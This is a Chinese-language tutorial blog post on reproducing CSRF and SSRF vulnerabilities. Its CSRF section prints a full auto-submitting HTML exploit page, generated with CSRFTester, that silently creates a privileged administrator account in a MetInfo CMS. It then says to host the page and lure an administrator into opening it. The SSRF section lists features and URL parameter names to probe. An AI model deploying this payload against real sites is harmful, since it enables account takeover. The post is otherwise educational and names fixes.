深入探究CSRF与SSRF漏洞复现:从原理到实践
在当今网络安全领域,跨站请求伪造(CSRF)和服务器端请求伪造(SSRF) 已成为两种常见且严重的漏洞类型。随着Web应用程序的复杂性不断增加,这些漏洞的危害也愈发显著。作为一名开发者或安全研究人员,理解并能够复现这些漏洞对于提升自身的安全防护能力至关重要。
本文将带领您深入探究CSRF和SSRF漏洞的原理,并通过实际案例进行漏洞复现。无论您是网络安全新手,还是经验丰富的专业人士,都能从本文中获取宝贵的知识和实用技能。让我们一起揭开CSRF与SSRF的神秘面纱,提升我们的安全意识和应对能力。
CSRF
-
概念
- CSRF全称:Cross-site request forgery,即,跨站请求伪造,也被称为“One Click Attack”或“Session Riding”,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输,但自己的QQ号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求,执行恶意操作,具有很大的危害性。
-
条件
- 目标用户已经登录了网站,能够执行网站的功能。
- 目标用户访问了攻击者构造的URL。
-
复现
-
下载安装csrftester,配置端口代理
-
利用csrftester捉取构造index.html数据包
-
数据包数据包内容如下
-
index.html<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>cong</title></head><body onload="javascript:fireForms()"><script language="JavaScript">var pauses = new Array( "1132","36","70","73","79","77","85","87","1152","1176","1091","41","74","84","77","80","79","90","88","1094","86" );function pausecomp(millis){var date = new Date();var curDate = null;do { curDate = new Date(); }while(curDate-date < millis);}function fireForms(){var count = 21;var i=0;for(i=0; i<count; i++){document.forms[i].submit();pausecomp(pauses[i]);}}</script><H2>OWASP CRSFTester Demonstration</H2></form><form method="POST" name="form8" action="http://127.0.0.1/metinfo/admin/admin/ajax.php?lang=cn&anyid=47&action=admin&id=xiaodi"><input type="hidden" name="name" value="value"/> </form><form method="POST" name="form9" action="http://127.0.0.1/metinfo/admin/admin/save.php?action=add&lang=cn&anyid=47"><input type="hidden" name="useid" value="cong"/><input type="hidden" name="pass1" value="cong"/><input type="hidden" name="pass2" value="cong"/><input type="hidden" name="name" value="cong"/><input type="hidden" name="sex" value="0"/><input type="hidden" name="tel" value=""/><input type="hidden" name="mobile" value="13333333333333"/><input type="hidden" name="email" value="471656814@qq.com"/><input type="hidden" name="qq" value=""/><input type="hidden" name="msn" value=""/><input type="hidden" name="taobao" value=""/><input type="hidden" name="admin_introduction" value=""/><input type="hidden" name="admin_group" value="3"/><input type="hidden" name="langok" value="metinfo"/><input type="hidden" name="langok_cn" value="cn"/><input type="hidden" name="langok_en" value="en"/><input type="hidden" name="langok_tc" value="tc"/><input type="hidden" name="admin_pop1801" value="1801"/><input type="hidden" name="admin_op0" value="metinfo"/><input type="hidden" name="admin_op1" value="add"/><input type="hidden" name="admin_op2" value="editor"/><input type="hidden" name="admin_op3" value="del"/><input type="hidden" name="admin_pop" value="yes"/><input type="hidden" name="admin_pops1301" value="s1301"/><input type="hidden" name="admin_popc1" value="c1"/><input type="hidden" name="admin_popc2" value="c2"/><input type="hidden" name="admin_popc3" value="c3"/><input type="hidden" name="admin_popc25" value="c25"/><input type="hidden" name="admin_popc31" value="c31"/><input type="hidden" name="admin_popc32" value="c32"/><input type="hidden" name="admin_popc33" value="c33"/><input type="hidden" name="admin_popc36" value="c36"/><input type="hidden" name="admin_popc42" value="c42"/><input type="hidden" name="admin_popc43" value="c43"/><input type="hidden" name="admin_popc49" value="c49"/><input type="hidden" name="admin_popc44" value="c44"/><input type="hidden" name="admin_popc50" value="c50"/><input type="hidden" name="admin_popc45" value="c45"/><input type="hidden" name="admin_popc46" value="c46"/><input type="hidden" name="admin_popc47" value="c47"/><input type="hidden" name="admin_popc68" value="c68"/><input type="hidden" name="admin_popc69" value="c69"/><input type="hidden" name="admin_popc70" value="c70"/><input type="hidden" name="admin_popc86" value="c86"/><input type="hidden" name="admin_popc84" value="c84"/><input type="hidden" name="admin_popc87" value="c87"/><input type="hidden" name="admin_popc88" value="c88"/><input type="hidden" name="admin_popc92" value="c92"/><input type="hidden" name="admin_pop9999" value="9999"/><input type="hidden" name="admin_pops1401" value="s1401"/><input type="hidden" name="admin_pops1106" value="s1106"/><input type="hidden" name="admin_pops1404" value="s1404"/><input type="hidden" name="admin_pops1406" value="s1406"/><input type="hidden" name="admin_pops1101" value="s1101"/><input type="hidden" name="admin_pops1102" value="s1102"/><input type="hidden" name="admin_pops1505" value="s1505"/><input type="hidden" name="admin_pops1507" value="s1507"/><input type="hidden" name="admin_pops1503" value="s1503"/><input type="hidden" name="admin_pops1504" value="s1504"/><input type="hidden" name="admin_pops1006" value="s1006"/><input type="hidden" name="admin_pops1501" value="s1501"/><input type="hidden" name="admin_pops1601" value="s1601"/><input type="hidden" name="admin_pops1603" value="s1603"/><input type="hidden" name="admin_pops1004" value="s1004"/><input type="hidden" name="admin_pops1005" value="s1005"/><input type="hidden" name="admin_pops1007" value="s1007"/><input type="hidden" name="admin_pops1103" value="s1103"/><input type="hidden" name="admin_pops1201" value="s1201"/><input type="hidden" name="admin_pops1002" value="s1002"/><input type="hidden" name="admin_pops1003" value="s1003"/><input type="hidden" name="admin_pops1104" value="s1104"/><input type="hidden" name="Submit" value="保存"/></form></body></html>
-
-
将其放入服务器,诱导管理员点击
-
-
修复
- 验证referer头
- 增加token功能
SSRF
-
概念
- SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞是一种安全漏洞,攻击者通过伪造服务器端请求,利用服务器作为代理向内部或外部网络发送恶意请求。这样,攻击者可以访问原本无法直接访问的内部资源、敏感数据或进行其他恶意操作,导致信息泄露、服务中断等安全问题。
-
复现
-
—SSRF黑盒可能出现的地方:
- 社交分享功能:获取超链接的标题等内容进行显示
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
- 在线翻译:给网址翻译对应网页的内容
- 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
- 图片/文章收藏功能:主要是取URL地址中title以及文本的内容作为显示以求一个好的用户体验
- 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试
- 网站采集,网站抓取的地方:一些网站会针对你输入的URL进行一些信息采集工作
- 数据库内置功能:数据库的比如MongoDB的copyDatabase函数
- 邮件系统:比如接收邮件服务器地址
- 编码处理,属性信息处理,文件处理:比如FFmpeg, ImageMagick, docx, pdf, xml处理器等
- 未公开的API实现以及其他扩展调用URL的功能:可以利用Google语法加上这些关键字去寻找SSRF漏洞
一些URL中的关键字:share、 wap、 uri、 link、 src、 source、 target、 u、 3g、 display、 sourceURI、 imageURL、 domain…
通过本文的学习,我们不仅了解了CSRF与SSRF漏洞的基本原理,还掌握了如何在实际环境中复现这些漏洞。安全防护始于了解威胁,通过对漏洞的深入探究,我们能够更好地识别并修复潜在的安全隐患。
在这个信息化高速发展的时代,网络安全已成为不可忽视的重要领域。希望本文能为您在安全防护之路上提供帮助,激发您对网络安全的兴趣与热情。让我们共同努力,构建一个更加安全的网络环境。如果您有任何疑问或建议,欢迎在评论区与我们分享交流。谢谢您的阅读,期待您的反馈与互动!